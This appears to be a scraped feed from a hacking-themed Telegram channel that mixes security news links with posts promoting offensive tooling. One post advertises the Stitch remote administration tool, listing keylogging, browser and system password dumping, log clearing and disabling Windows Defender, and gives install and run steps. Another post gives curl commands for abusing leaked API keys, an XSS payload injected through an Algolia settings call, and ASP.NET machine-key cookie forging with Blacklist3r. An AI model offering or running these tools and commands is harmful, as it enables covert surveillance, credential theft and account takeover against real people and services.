UNDERCODE COMMUNITY

Be aware of storing sensitive informations on SK Hynix and LG Electronics , both were hacked and 50GB confidential files were encrypted and extorted
#DataBreaches

189 views17:15

WATCH NEWS MORE INFO

UNDERCODE COMMUNITY

more go to t.me/UndercodeNews

UNDERCODE NEWS

Daily News, Hacking News, Tech News, Analytiques and more...

For Updates: UndercodeNews.com
instagram.com/UndercodeNews
Twitter.com/UndercodeNews

For Support: Support@UndercodeNews.com

For Feedback: Feedback@UndercodeNews.com

More:
undercode.help

301 views17:16

UNDERCODE COMMUNITY

320 views17:16

UNDERCODE COMMUNITY

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑DANGEROUS HACKING 2020

F E A T U R E S :

Cross Platform Support
Command and file auto-completion
Antivirus detection
Able to turn off/on display monitors
Hide/unhide files and directories
View/edit the hosts file
View all the systems environment variables
Keylogger with options to view status, start, stop and dump the logs onto your host system
View the location and other information of the target machine
Execute custom python scripts which return whatever you print to screen
Screenshots
Virtual machine detection
Download/Upload files to and from the target system
Attempt to dump the systems password hashes
Payloads' properties are "disguised" as other known programs
Display a user/password dialog box to obtain user password
Dump passwords saved via Chrome
Clear the System, Security, and Application logs
Enable/Disable services such as RDP,UAC, and Windows Defender
Edit the accessed, created, and modified properties of files
Create a custom popup box
View connected webcam and take snapshots
View past connected wifi connections along with their passwords
View information about drives connected
View summary of registry values such as DEP
Mac OSX Specific
Display a user/password dialog box to obtain user password
Change the login text at the user's login screen
Webcam snapshots
Mac OSX/Linux Specific
SSH from the target machine into another host
Run sudo commands
Attempt to bruteforce the user's password using the passwords list found in Tools/
Webcam snapshots? (untested on Linux)

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) git clone https://github.com/nathanlopez/Stitch.git

2) cd Stitch

3) # for Windows
pip install -r win_requirements.txt

# for Mac OSX
pip install -r osx_requirements.txt

# for Linux
pip install -r lnx_requirements.txt

4) python main.py

U S E F O R L E A R N
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

GitHub

GitHub - nathanlopez/Stitch: Python Remote Administration Tool (RAT)

Python Remote Administration Tool (RAT). Contribute to nathanlopez/Stitch development by creating an account on GitHub.

410 views17:16

UNDERCODE COMMUNITY

Forwarded from WEB UNDERCODE - PRIVATE

6 Days Lab 1.1 Vulnhub.pdf

2.4 MB

full + pictures

216 views18:17

UNDERCODE COMMUNITY

Detailed fresh Proxies List

https://pastebin.com/sQwWv538

Pastebin

Detailed fresh Proxies List - Pastebin.com

Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.

271 views20:18

UNDERCODE COMMUNITY

Forwarded from UNDERCODE NEWS

An old and popular tool will be removed from Windows 10
#Updates

205 views21:11

WATCH NEWS MORE INFO

UNDERCODE COMMUNITY

Forwarded from UNDERCODE NEWS

According to the .ru zone: why ransomware bypass the Russian domain
#Malwares

209 views21:11

WATCH NEWS MORE INFO

UNDERCODE COMMUNITY

facebook Hack Methode.pdf

191 KB

705 views21:11

UNDERCODE COMMUNITY

Google Play

Filmora: AI Video Editor&Maker - Apps on Google Play

AI Video Editor：AI Music, Text to Video,Text to Speech,Auto Caption,Video Effect

311 views21:59

UNDERCODE COMMUNITY

GitHub

GitHub - fabrimagic72/malware-samples: A collection of malware samples caught by several honeypots i manage

A collection of malware samples caught by several honeypots i manage - fabrimagic72/malware-samples

330 views23:07

UNDERCODE COMMUNITY

Forwarded from WEB UNDERCODE - PRIVATE

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑API Key Leaks 2020 :

1) Algolia
curl --request PUT \
--url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
--header 'content-type: application/json' \
--header 'x-algolia-api-key: <example-key>' \
--header 'x-algolia-application-id: <example-application-id>' \
--data '{"highlightPreTag": "<script>alert(1);</script>"}'

2) AWS Access Key ID & Secret

> git clone https://github.com/andresriancho/enumerate-iam

> cd enumerate-iam

.>./enumerate-iam.py --access-key AKIA... --secret-key X XX..

3) Slack API Token

> curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"

4) Facebook Access Token
curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2

5) Github client id and client secret
curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'

6) Twilio Account_sid and Auth token

> curl -X GET 'https://api.twilio.com/2010-04-01/
> Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN

7) Twitter API Secret
curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'

8) Twitter Bearer Token

> curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'

9) Gitlab Personal Access Token
curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"

10) HockeyApp API Token
curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4

11) Auth Bypass using pre-published Machine Key
By default, ASP.NET creates a Forms Authentication Ticket with unique a username associated with it, Date and Time at which the ticket was issued and expires. So, all you need is just a unique username and a machine key to create a forms authentication token

12) That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.

Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.

<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
Exploit with Blacklist3r

🦑 decrypt cookie :

$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes

# encrypt cookie (edit Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt

✅git 2020
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

243 views00:13

UNDERCODE COMMUNITY

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑A hosts file for use on any operating system to block bad domains out of your servers or devices:

WHAT IS A HOSTS FILE?

1) A hosts file, named hosts (with no file extension), is a plain-text file used by all operating systems to map hostnames to IP addresses.

2) In most operating systems, the hosts file is preferential to DNS. Therefore if a domain name is resolved by the hosts file, the request never leaves your computer.

3) Having a smart hosts file goes a long way towards blocking malware, adware, ransomware, porn and other nuisance web sites.

4) A hosts file like this causes any lookups to any of the listed domains to resolve back to your localhost so it prevents any outgoing connections to the listed domains.

🦑WHERE DO I PUT THIS ON MY COMPUTER?

1) To modify your current hosts file, look for it in the following places and modify it with a text editor.

Linux, Mac OS X, iOS, Android: /etc/hosts folder.

2) Windows Systems: %SystemRoot%\system32\drivers\etc\hosts folder.

»DOWNLOAD FREE :

https://github.com/mitchellkrogza/Badd-Boyz-Hosts

enjoy ❤️👍🏻
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

GitHub

GitHub - mitchellkrogza/Badd-Boyz-Hosts: A hosts file for use on any operating system to block bad domains out of your servers…

A hosts file for use on any operating system to block bad domains out of your servers or devices. - mitchellkrogza/Badd-Boyz-Hosts

283 views01:09

UNDERCODE COMMUNITY

Forwarded from WEB UNDERCODE - PRIVATE

List of 100+ Cyber Security RSS Feeds.pdf

1.5 MB

213 views02:04

UNDERCODE COMMUNITY

GitHub

GitHub - mitchellkrogza/nginx-ultimate-bad-bot-blocker: Nginx Block Bad Bots, Spam Referrer Blocker, Vulnerability Scanners, User…

Nginx Block Bad Bots, Spam Referrer Blocker, Vulnerability Scanners, User-Agents, Malware, Adware, Ransomware, Malicious Sites, with anti-DDOS, Wordpress Theme Detector Blocking and Fail2Ban Jail f...

300 views03:12

UNDERCODE COMMUNITY

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Simple program for detecting if host(s) are vulnerable to SMB exploit(MS17-010)

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) git clone https://github.com/jflyup/goMS17-010.git

2) cd goMS17-010

3) goMS17-010 detects if host(s) is vulnerable to SMB exploit(MS17-010), which is used by NSA hacking tools leaked by Shadow Brokers.

4) If it's vulnerable, then checks if the target machine is running the Double Pulsar SMB backdoor. Inspired by this Metasploit module, but doesn't depend on MSF or any framework, just run ms17-010.go or ms17-010.py with option(s).

5) Go version is preferred as it's very fast (credit goroutine for that! ) when scanning a network. The release is built from go code.

C O M M A N D S :

-i, detect single host

-n, scan a whole network in CIDR Notation, for example, 192.168.1.1/24

-h, show help

use for learn !!!!
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

GitHub

jflyup/goMS17-010

Simple program for detecting if host(s) are vulnerable to SMB exploit(MS17-010) - jflyup/goMS17-010

272 views04:05

UNDERCODE COMMUNITY

Forwarded from WEB UNDERCODE - PRIVATE

CloudFront Hijacking.pdf

1022.4 KB

time exploring the issue of CloudFront domain hijacking. This is not a new issue but I think it has gone mostly unnoticed for a few reasons ...

201 views05:00

UNDERCODE COMMUNITY

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑-}Cloud Hacking{-

Easily deploy static sites created using Hugo to any cloud instance of choice!
Easily deploy static sites created using Hugo to any cloud instance of choice!

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) download or clone https://github.com/souvikhaldar/cloudhack

2) Create a cloud instance and assign it your system's public SSH key (generally stored in ~/.ssh/id_rsa.pb)

3) Copy the public ssh key of this droplet to the GitHub account which has the contents for the site. (if the content is stored in local, it is advised to store it in Github as a repository).

4) Install Ansible on your machine. On Mac, you can install ansible using its brew package manager- brew

5) install ansible

6) cd into the cloned repo i.e cloudhack/ then add executable permission to deploy.sh and conf<OS> by running chmod +x deploy.sh and chmod +x confLinux.

7) ./conf<OS> -ip <ip> -repo <repo-url> eg confMac -ip <ip> -repo <repo-url> on Mac.
./deploy.sh

@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

GitHub

GitHub - souvikhaldar/cloudhack: A tool using which you can deploy hugo static site to a cloud of choice

A tool using which you can deploy hugo static site to a cloud of choice - GitHub - souvikhaldar/cloudhack: A tool using which you can deploy hugo static site to a cloud of choice

296 views06:02

UNDERCODE COMMUNITY